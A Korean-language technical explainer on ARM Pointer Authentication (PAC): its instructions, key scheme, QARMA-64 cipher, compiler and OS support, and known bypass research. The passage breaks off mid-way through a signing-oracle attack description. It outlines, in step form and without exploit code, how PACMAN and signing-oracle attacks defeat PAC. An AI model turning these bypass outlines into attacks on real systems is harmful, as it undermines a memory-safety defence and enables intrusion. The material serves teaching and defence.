&lt;pre&gt;&lt;code&gt;63                              48 47                                0
┌────────  ─────────────────────────┬─────────────────────────────────────┐
│        미사용 상위 비트            │          가상 주소 (48비트)          │
│    (기존: 부호 확장으로 채움)       │                                     │
│                                  │                                     │
│   ← 여기에 PAC를 삽입 →          │                                     │
└─────────────────  ────────────────┴─────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;PAC 비트 폭 = 55 - 가상 주소 크기&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;가상 주소 크기&lt;/th&gt;
&lt;th&gt;PAC 비트 폭&lt;/th&gt;
&lt;th&gt;가능한 PAC 값 수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;48비트&lt;/td&gt;
&lt;td&gt;7비트&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42비트&lt;/td&gt;
&lt;td&gt;13비트&lt;/td&gt;
&lt;td&gt;8,192&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39비트&lt;/td&gt;
&lt;td&gt;16비트&lt;/td&gt;
&lt;td&gt;65,536&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;PAC 비트 폭이 클수록 보안 강도가 높아진다. 7비트 PAC는 128개의 가능한 값 중 하나를 무작위로 맞춰야 하므로, 단순 브루트포스의 성공 확률은 약 1/128이다. 16비트라면 1/65,536이 된다.&lt;/p&gt;
&lt;h3&gt;2.3 PAC 계산의 세 가지 입력&lt;/h3&gt;
&lt;p&gt;PAC는 다음 세 가지 값을 입력으로 받아 계산된다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──────────────┐
│  포인터 값     │  (서명할 대상 — 예: 리턴 주소)
│  (64비트)      │
└──────┬───────┘
       │
       ▼
┌──────────────┐     ┌───────────   ──┐
│   컨텍스트    │     │  비밀 키      │
│  (64비트)     │     │ (128비트)     │
│              │     │              │
│ 예: 현재 SP  │     │ 프로세스별    │
│    또는 0    │     │ 랜덤 할당    │
└──────┬───────┘     └──────┬───────┘
       │                    │
       └────────┬───────────┘
                │
                ▼
        ┌──────────────┐
        │   QARMA-64   │  (또는 구현체 선택 암호 알고리즘)
        │   암호 연산   │
        └──────┬───────┘
               │
               ▼
        ┌────────────   ─┐
        │   PAC 값      │  → 포인터 상위 비트에 삽입
        │ (7~16비트)    │
        └──────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;입력&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;포인터 값&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;서명할 64비트 포인터 (예: 함수 리턴 주소)&lt;/td&gt;
&lt;td&gt;서명 대상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;컨텍스트(Modifier)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;64비트 보조 값 (예: 현재 스택 포인터, 0 등)&lt;/td&gt;
&lt;td&gt;동일 포인터라도 컨텍스트가 다르면 다른 PAC 생성 → 재사용 공격 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비밀 키&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;128비트 비밀 키 (시스템 레지스터에 저장)&lt;/td&gt;
&lt;td&gt;키를 모르면 PAC 위조 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;컨텍스트의 중요성:&lt;/strong&gt; 같은 함수의 리턴 주소라도, 호출 시점의 스택 포인터(SP)가 다르면 PAC 값이 달라진다. 이는 공격자가 한 곳에서 유출한 서명된 포인터를 다른 곳에서 재사용하는 것을 방지한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. PAC의 5개 키 체계&lt;/h2&gt;
&lt;p&gt;ARMv8.3은 5개의 독립적인 128비트 비밀 키를 제공한다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;키 이름&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;관련 명령어&lt;/th&gt;
&lt;th&gt;사용 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIAKey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;명령어 포인터 서명 A&lt;/td&gt;
&lt;td&gt;PACIA, AUTIA&lt;/td&gt;
&lt;td&gt;리턴 주소 보호 (주로 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIBKey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;명령어 포인터 서명 B&lt;/td&gt;
&lt;td&gt;PACIB, AUTIB&lt;/td&gt;
&lt;td&gt;대체 키 (교차 서명 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APDAKey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;데이터 포인터 서명 A&lt;/td&gt;
&lt;td&gt;PACDA, AUTDA&lt;/td&gt;
&lt;td&gt;C++ vtable, 함수 포인터 보호&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APDBKey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;데이터 포인터 서명 B&lt;/td&gt;
&lt;td&gt;PACDB, AUTDB&lt;/td&gt;
&lt;td&gt;대체 데이터 키&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APGAKey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;범용 인증&lt;/td&gt;
&lt;td&gt;PACGA&lt;/td&gt;
&lt;td&gt;임의 데이터 블록의 MAC 계산&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;왜 2개씩?&lt;/strong&gt; 키를 분리하면 서로 다른 보안 도메인 간의 격리가 가능하다. 예를 들어 커널과 유저 공간이 다른 키를 사용하면, 유저 공간에서 유출된 서명이 커널 포인터 위조에 사용될 수 없다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Apple의 확장:&lt;/strong&gt; Apple Silicon(M1/M2)은 &lt;code&gt;EXTRAKEY_EL1&lt;/code&gt;이라는 128비트 레지스터를 추가로 도입했다. 이 키는 ARM 표준 키와 XOR되어 실제 PAC 연산에 사용된다. 이를 통해 유저/커널 모드 간 PAC 키를 추가로 분리한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. PAC 명령어 상세&lt;/h2&gt;
&lt;h3&gt;4.1 명령어 명명 규칙&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PAC  +  I/D  +  A/B  +  수식어
 │       │       │       │
 │       │       │       └── SP: 스택 포인터를 컨텍스트로 사용
 │       │       │           Z:  컨텍스트 = 0
 │       │       │           (없음): 범용 레지스터를 컨텍스트로 사용
 │       │       │
 │       │       └── A: A키 사용, B: B키 사용
 │       │
 │       └── I: 명령어(Instruction) 포인터
 │           D: 데이터(Data) 포인터
 │
 └── PAC: 서명 삽입
     AUT: 서명 검증
     XPAC: 서명 제거 (검증 없이)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;4.2 핵심 명령어 일람&lt;/h3&gt;
&lt;h4&gt;서명 삽입 (PAC*)&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;th&gt;입력&lt;/th&gt;
&lt;th&gt;컨텍스트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACIA Xd, Xn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 Xd에 PAC 삽입&lt;/td&gt;
&lt;td&gt;Xd = 포인터&lt;/td&gt;
&lt;td&gt;Xn = 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACIASP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 LR(x30)에 PAC 삽입&lt;/td&gt;
&lt;td&gt;LR = 리턴 주소&lt;/td&gt;
&lt;td&gt;SP = 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACIAZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 LR에 PAC 삽입&lt;/td&gt;
&lt;td&gt;LR&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACIZA Xd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 Xd에 PAC 삽입&lt;/td&gt;
&lt;td&gt;Xd&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACDA Xd, Xn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 데이터 포인터 서명&lt;/td&gt;
&lt;td&gt;Xd = 포인터&lt;/td&gt;
&lt;td&gt;Xn = 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACIB&lt;/code&gt;, &lt;code&gt;PACDB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;B키 버전 (동일 구조)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PACGA Xd, Xn, Xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;범용 인증 코드 생성&lt;/td&gt;
&lt;td&gt;Xn, Xm 입력&lt;/td&gt;
&lt;td&gt;결과를 Xd에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;서명 검증 (AUT*)&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;th&gt;성공 시&lt;/th&gt;
&lt;th&gt;실패 시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AUTIA Xd, Xn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 Xd의 PAC 검증&lt;/td&gt;
&lt;td&gt;PAC 제거, 원본 포인터 복원&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;포인터 변조&lt;/strong&gt; (역참조 시 폴트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AUTIASP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 LR 검증 (SP 컨텍스트)&lt;/td&gt;
&lt;td&gt;LR 복원&lt;/td&gt;
&lt;td&gt;폴트 유발&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AUTDA Xd, Xn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A키로 데이터 포인터 검증&lt;/td&gt;
&lt;td&gt;원본 포인터 복원&lt;/td&gt;
&lt;td&gt;포인터 변조&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;서명 제거 (XPAC*)&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;XPACI Xd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PAC를 제거하고 원본 포인터 복원&lt;/td&gt;
&lt;td&gt;디버깅, 포인터 비교 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;XPACD Xd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;데이터 포인터에서 PAC 제거&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;복합 명령어&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령어&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RETAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AUTIASP&lt;/code&gt; + &lt;code&gt;RET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;리턴 주소 검증 후 리턴 (원자적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RETAB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AUTIBSP&lt;/code&gt; + &lt;code&gt;RET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;B키 버전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BRAA Xn, Xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AUTIA&lt;/code&gt; + &lt;code&gt;BR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;검증 후 간접 분기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BLRAA Xn, Xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AUTIA&lt;/code&gt; + &lt;code&gt;BLR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;검증 후 간접 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;4.3 인증 실패 처리&lt;/h3&gt;
&lt;p&gt;PAC 검증(&lt;code&gt;AUT*&lt;/code&gt;)이 실패하면, 포인터가 &lt;strong&gt;의도적으로 변조(mangled)&lt;/strong&gt;된다. 구체적으로:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;인증 성공:
  포인터 상위 비트에서 PAC 제거 → 원본 유효 주소 복원 → 정상 사용

인증 실패:
  포인터 상위 비트를 고의적으로 오류 값으로 설정
  → 이 포인터를 역참조하면 가상 주소 범위 밖의 주소에 접근 시도
  → MMU가 페이지 폴트(Segmentation Fault) 발생
  → 프로그램 크래시&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; PAC은 &amp;quot;공격을 막는 것&amp;quot;이 아니라, &lt;strong&gt;&amp;quot;변조된 포인터 사용 시 프로그램이 크래시하도록 보장&amp;quot;&lt;/strong&gt;하는 것이다. 공격자가 포인터를 변조하면 해당 포인터로의 제어 흐름 전환이 폴트를 일으켜, 익스플로잇이 실패한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. QARMA-64: PAC의 암호 엔진&lt;/h2&gt;
&lt;h3&gt;5.1 왜 전용 암호 알고리즘이 필요한가&lt;/h3&gt;
&lt;p&gt;PAC 연산은 &lt;strong&gt;모든 함수 호출과 리턴에서&lt;/strong&gt; 수행된다. 즉 프로그램 실행 중 매우 빈번하게 호출되  로, 암호 알고리즘이 다음 조건을 만족해야 한다:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;극도로 낮은 지연 시간&lt;/strong&gt; (수 사이클 내 완료)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;작은 하드웨어 면적&lt;/strong&gt; (모든 코어에 내장)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;충분한 암호학적 강도&lt;/strong&gt; (PAC 비트 폭 내에서의 충돌 저항성)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AES나 SHA-256은 너무 무겁다. 그래서 Qualcomm이 ARM을 위해 &lt;strong&gt;QARMA-64&lt;/strong&gt;를 설계했다.&lt;/p&gt;
&lt;h3&gt;5.2 QARMA-64 특성&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;설계자&lt;/td&gt;
&lt;td&gt;Qualcomm (Roberto Avanzi)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;블록 크기&lt;/td&gt;
&lt;td&gt;64비트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키 크기&lt;/td&gt;
&lt;td&gt;128비트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;구조&lt;/td&gt;
&lt;td&gt;Tweakable block cipher (조정 가능 블록 암호)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;라운드 수&lt;/td&gt;
&lt;td&gt;5~7라운드 (QARMA-5, QARMA-7)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;특징&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;역변환이 거의 동일한 비용&lt;/strong&gt; → 서명과 검증 모두 빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;&amp;quot;Tweakable&amp;quot;의 의미:&lt;/strong&gt; 입력 블록(포인터)과 키 외에 &lt;strong&gt;트윅(tweak = 컨텍스트 값)&lt;/strong&gt;을 추가 입력으로 받는다. 같은 포인터+같은 키여도 트윅(SP 등)이 다르면    른 출력을 생성한다. 이것이 PAC의 &amp;quot;컨텍스트&amp;quot; 역할을 하드웨어적으로 구현하는 방식이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;참고:&lt;/strong&gt; ARM은 QARMA-64를 권장하지만 구현체에 강제하지는 않는다. 칩 제조사는 다른 알고리즘을 사용할 수 있다. Apple Silicon은 자체 알고리즘을 사용하는 것으로 알려져 있다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;6. PAC의 실전: 함수 호출 보호&lt;/h2&gt;
&lt;h3&gt;6.1 ROP 공격과 PAC 방어&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ROP(Return-Oriented Programming) 공격의 핵심:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;버퍼 오버플로우로 스택의 리턴 주소를 덮어쓴다&lt;/li&gt;
&lt;li&gt;리턴 주소를 프로그램 내 기존 코드 조각(가젯)의 주소로 교체한다&lt;/li&gt;
&lt;li&gt;함수가 리턴할 때 가젯으로 제어 흐름이 전환된다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;PAC가 이를 막는 원리:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;; ===== 함수 프롤로그 =====
my_function:
    paciasp                        ; ① LR(리턴 주소)에 PAC 삽입
                                   ;    키 = APIAKey
                                   ;    컨텍스트 = 현재 SP 값
    stp     x29, x30, [sp, #-16]!  ; ② PAC가 삽입된 LR을 스택에 저장
    mov     x29, sp

    ; ... 함수 본문 ...

; ===== 함수 에필로그 =====
    ldp     x29, x30, [sp], #16    ; ③ 스택에서 LR 복원
    autiasp                        ; ④ LR의 PAC 검증
                                   ;    컨텍스트 = 현재 SP (프롤로그와 동일해야 함)
                                   ;    검증 실패 시 → LR 변조 → 폴트
    ret                            ; ⑤ 검증 통과한 LR로 리턴&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;또는 복합 명령어를 사용하면:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;; 에필로그 (간소화)
    ldp     x29, x30, [sp], #16
    retaa                          ; AUTIASP + RET을 원자적으로 수행&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;공격자의 딜레마:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;리턴 주소를 덮어쓰면 → PAC가 불일치 → &lt;code&gt;autiasp&lt;/code&gt;에서 폴트&lt;/li&gt;
&lt;li&gt;유효한 PAC를 삽입하려면 → 128비트 비밀 키를 알아야 함 → 현실적으로 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 JOP 공격과 PAC 방어&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;JOP(Jump-Oriented Programming)&lt;/strong&gt;은 리턴 대신 간접 분기(&lt;code&gt;BR Xn&lt;/code&gt;)를 악용한다. PAC는 간접 분기 전에도 포인터를 검증하는 명령어를 제공한다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;; 함수 포인터 호출 보호
    ldr     x8, [x0]              ; 함수 포인터 로드
    blraa   x8, x9                ; x8의 PAC를 x9 컨텍스트로 검증 후 호출
                                  ; 검증 실패 시 → 폴트&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.3 데이터 포인터 보호&lt;/h3&gt;
&lt;p&gt;C++ vtable이나 연결 리스트의 next 포인터 등 데이터 포인터도 보호할 수 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;; 데이터 포인터 서명
    pacda   x0, x1                ; x0(데이터 포인터)에 PAC 삽입
                                  ; 키 = APDAKey, 컨텍스트 = x1

; 데이터 포인터 검증
    autda   x0, x1                ; PAC 검증 후 원본 포인터 복원
    ldr     x2, [x0]              ; 검증된 포인터로 데이터 접근&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. 실제 구현: 컴파일러와 OS의 역할&lt;/h2&gt;
&lt;h3&gt;7.1 컴파일러 지원&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# GCC: PAC 활성화 컴파일
gcc -march=armv8.3-a -mbranch-protection=standard -o program program.c

# Clang/LLVM: PAC 활성화
clang -target aarch64-linux-gnu -march=armv8.3-a \
      -msign-return-address=all -o program program.c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-mbranch-protection=standard&lt;/code&gt;는 다음을 활성화한다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;리턴 주소 서명:&lt;/strong&gt; 모든 non-leaf 함수에 &lt;code&gt;paciasp&lt;/code&gt;/&lt;code&gt;autiasp&lt;/code&gt; 삽입&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BTI(Branch Target Identification):&lt;/strong&gt; 간접 분기 대상 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 Linux 커널의 PAC 관리&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;커널 부팅
  │
  ├── CONFIG_ARM64_PTR_AUTH 활성화 확인
  │
  ├── 각 프로세스에 exec() 시 5개의 랜덤 키 할당
  │     APIAKey, APIBKey, APDAKey, APDBKey, APGAKey
  │
  ├── 동일 프로세스 내 모든 스레드는 키를 공유
  │
  ├── fork() 시 부모의 키가 자식에게 상속
  │
  └── exec() 시 새로운 랜덤 키 할당&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;커널 자체 보호:&lt;/strong&gt; &lt;code&gt;CONFIG_ARM64_PTR_AUTH_KERNEL&lt;/code&gt;이 활성화되면 커널 코드의 함수 리턴 주소도 PAC로 보호된다. 이때 HINT 공간 명령어를 사용하여 PAC 미지원 CPU에서도 NOP로 처리되어 호환성을 유지한다.&lt;/p&gt;
&lt;h3&gt;7.3 Apple XNU (iOS/macOS)&lt;/h3&gt;
&lt;p&gt;Apple의 PAC 구현은 ARM 표준보다 훨씬 광범위하다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;보호 대상&lt;/th&gt;
&lt;th&gt;표준 ARM PAC&lt;/th&gt;
&lt;th&gt;Apple PAC&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;리턴 주소&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;함수 포인터&lt;/td&gt;
&lt;td&gt;선택적&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;기본 적용&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Objective-C isa 포인터&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✓&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C++ vtable&lt;/td&gt;
&lt;td&gt;선택적&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✓&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;블록 invoke 포인터&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✓&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템 콜 핸들러&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;✓&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Apple은 &lt;strong&gt;9가지 수식어(modifier) 유형&lt;/strong&gt;을 정의하여 포인터 종류별로 다른 컨텍스트를 사용한다. 이는 한 종류의 서명된 포인터를 다른 종류로 재사용하는 &lt;strong&gt;타입 혼동 공격&lt;/strong&gt;을 방지한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. PAC 우회 공격 연구&lt;/h2&gt;
&lt;p&gt;PAC는 강력하지만 완벽하지 않다. 다음은 알려진 주요 공격 연구이다.&lt;/p&gt;
&lt;h3&gt;8.1 PACMAN (MIT, 2022)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;논문:&lt;/strong&gt; &amp;quot;PACMAN: Attacking ARM Pointer Authentication with Speculative Execution&amp;quot; (ISCA 2022)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;핵심 아이디어:&lt;/strong&gt; 투기적 실행(Speculative Execution)을 이용하여 PAC 값을 브루트포스 추측한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[PACMAN 공격 원리]

일반적인 PAC 브루트포스:
  추측값이 틀림 → 프로그램 크래시 → 탐지됨 (불가능)

PACMAN의 우회:
  ① 추측값으로 포인터를 투기적으로(speculatively) 사용
  ② CPU가 투기적 실행 경로에서 해당 포인터로 메모리 접근
  ③ 추측이 맞으면 → 캐시에 흔적이 남음 (TLB/캐시 상태 변화)
     추측이 틀리면 → 투기적 실행이 롤백되어 흔적 없음
  ④ 캐시 사이드 채널로 추측 성공 여부를 판별
  ⑤ 크래시 없이 PAC 값 확인 가능 → &amp;quot;PAC Oracle&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;영향:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;7비트 PAC: 최대 128번 시도로 정확한 PAC 추측 가능&lt;/li&gt;
&lt;li&gt;Apple M1, ARM Cortex-A78, Neoverse V1/N2 등 광범위한 칩 영향&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;하드웨어 결함이므로 소프트웨어 패치 불가&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;제한 사항:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PACMAN 자체만으로는 시스템을 침해할 수 없음&lt;/li&gt;
&lt;li&gt;별도의 메모리 취약점(버퍼 오버플로우 등)과 결합해야 함&lt;/li&gt;
&lt;li&gt;Spectre와 유사하게 &amp;quot;익스플로잇 기법&amp;quot;이지 &amp;quot;독립적 취약점&amp;quot;이 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.2 PAC 위조 (Signing Oracle) 공격&lt;/h3&gt;
&lt;p&gt;RET2 Systems의 연구에서 시연된 시나리오:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Signing Oracle 공격 흐름]

① 프로그램 내에 &amp;quot;임의 포인터를 서명하는&amp;quot; 기능이 노출됨
   (예: 사용자 입력을 PACIA로 서명하는 함수)

② 공격자가 원하는 목표 주소(예: system() 함수)를 입력

③ 프로그램이 해당 주소에 유효한 PAC를 삽입하여 반환

④ 공격자는 이 서명된 포인터를 버퍼 오버플로우로 리턴 주소에 배치

